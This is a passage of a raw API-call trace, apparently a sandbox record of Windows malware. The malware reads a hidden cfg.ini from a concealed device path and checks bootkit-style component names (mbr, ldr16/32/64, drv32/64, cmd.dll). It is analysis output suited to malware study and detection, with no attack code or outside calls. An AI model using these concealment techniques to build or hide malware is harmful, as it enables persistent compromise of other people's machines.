_MaxCount=0x10) returned -108 [0122.535] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.535] KeLeaveCriticalRegion () [0122.535] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.535] ReleaseMutex (hMutex=0x100) returned 1 [0122.535] Sleep (dwMilliseconds=0x2bf20) [0122.541] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6c3be870, dwHighDateTime=0x1d24fa4)) [0122.541] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0122.541] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.541] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.541] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.541] KeEnterCriticalRegion () [0122.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.541] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.541] IdePortDispatch () returned 0x103 [0122.542] KeWaitForMutexObject () returned 0x0 [0122.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.542] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.542] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.542] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.542] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.542] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6ab0 [0122.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.542] KeLeaveCriticalRegion () [0122.542] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.542] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.542] KeEnterCriticalRegion () [0122.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.542] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.542] KeLeaveCriticalRegion () [0122.542] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.542] KeEnterCriticalRegion () [0122.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.542] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.542] IdePortDispatch () returned 0x103 [0122.542] KeWaitForMutexObject () returned 0x0 [0122.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.542] KeLeaveCriticalRegion () [0122.542] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.543] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.543] KeEnterCriticalRegion () [0122.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.543] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002caf000 [0122.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.543] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.543] IdePortDispatch () returned 0x103 [0122.543] KeWaitForMutexObject () returned 0x0 [0122.543] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.543] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.543] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.543] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.543] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.543] IdePortDispatch () returned 0x103 [0122.543] KeWaitForMutexObject () returned 0x0 [0122.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.543] KeLeaveCriticalRegion () [0122.543] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.544] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.544] KeEnterCriticalRegion () [0122.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.544] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.544] KeLeaveCriticalRegion () [0122.544] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.544] KeEnterCriticalRegion () [0122.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.544] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.544] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.544] KeLeaveCriticalRegion () [0122.544] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.544] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.544] KeEnterCriticalRegion () [0122.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.544] ExFreePoolWithTag (P=0xfffffa8003be6ab0, Tag=0x0) [0122.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.544] KeLeaveCriticalRegion () [0122.544] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.544] ReleaseMutex (hMutex=0xf0) returned 1 [0122.544] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.544] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0122.544] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.544] KeEnterCriticalRegion () [0122.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.544] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.544] IdePortDispatch () returned 0x103 [0122.544] KeWaitForMutexObject () returned 0x0 [0122.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.545] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.545] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.545] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.545] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.545] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6760 [0122.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.545] KeLeaveCriticalRegion () [0122.545] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.545] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.545] KeEnterCriticalRegion () [0122.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.545] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.545] KeLeaveCriticalRegion () [0122.545] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.545] KeEnterCriticalRegion () [0122.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.545] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.545] IdePortDispatch () returned 0x103 [0122.545] KeWaitForMutexObject () returned 0x0 [0122.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.545] KeLeaveCriticalRegion () [0122.545] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.545] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.545] KeEnterCriticalRegion () [0122.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.546] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb0000 [0122.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.546] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.546] IdePortDispatch () returned 0x103 [0122.546] KeWaitForMutexObject () returned 0x0 [0122.546] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.546] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.546] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.546] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.546] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.546] IdePortDispatch () returned 0x103 [0122.546] KeWaitForMutexObject () returned 0x0 [0122.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.546] KeLeaveCriticalRegion () [0122.546] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.547] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.547] KeEnterCriticalRegion () [0122.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.547] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.547] KeLeaveCriticalRegion () [0122.547] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.547] KeEnterCriticalRegion () [0122.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.547] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.547] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6820, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.547] KeLeaveCriticalRegion () [0122.547] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.547] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.547] KeEnterCriticalRegion () [0122.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.547] ExFreePoolWithTag (P=0xfffffa8003be6760, Tag=0x0) [0122.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.547] KeLeaveCriticalRegion () [0122.547] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.547] ReleaseMutex (hMutex=0xf0) returned 1 [0122.547] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.547] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0122.547] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.547] KeEnterCriticalRegion () [0122.547] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.547] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.547] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.547] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.547] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.547] IdePortDispatch () returned 0x103 [0122.547] KeWaitForMutexObject () returned 0x0 [0122.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.548] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.548] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.548] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.548] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.548] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be6cb0 [0122.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.548] KeLeaveCriticalRegion () [0122.548] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.548] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.548] KeEnterCriticalRegion () [0122.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.548] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.548] KeLeaveCriticalRegion () [0122.548] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.548] KeEnterCriticalRegion () [0122.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.548] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0122.548] IdePortDispatch () returned 0x103 [0122.548] KeWaitForMutexObject () returned 0x0 [0122.548] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.548] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.548] KeLeaveCriticalRegion () [0122.548] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.548] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.548] KeEnterCriticalRegion () [0122.548] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.548] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cb1000 [0122.548] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.548] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.548] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.549] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.549] IdePortDispatch () returned 0x103 [0122.549] KeWaitForMutexObject () returned 0x0 [0122.549] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.549] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.549] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.549] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.549] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0122.549] IdePortDispatch () returned 0x103 [0122.549] KeWaitForMutexObject () returned 0x0 [0122.549] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.549] KeLeaveCriticalRegion () [0122.549] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.550] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.550] KeEnterCriticalRegion () [0122.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.550] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.550] KeLeaveCriticalRegion () [0122.550] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.550] KeEnterCriticalRegion () [0122.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.550] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.550] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be59f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.550] KeLeaveCriticalRegion () [0122.550] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.550] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.550] KeEnterCriticalRegion () [0122.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.550] ExFreePoolWithTag (P=0xfffffa8003be6cb0, Tag=0x0) [0122.550] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.550] KeLeaveCriticalRegion () [0122.550] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.550] ReleaseMutex (hMutex=0xf0) returned 1 [0122.550] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0122.550] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0122.550] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0122.550] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0122.550] KeEnterCriticalRegion () [0122.550] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.550] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.550] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.550] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.550] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0122.550] IdePortDispatch () returned 0x103 [0122.550] KeWaitForMutexObject () returned 0x0 [0122.550] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0122.550] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0122.551] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.551] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.551] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0122.551] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.551] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0122.551] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 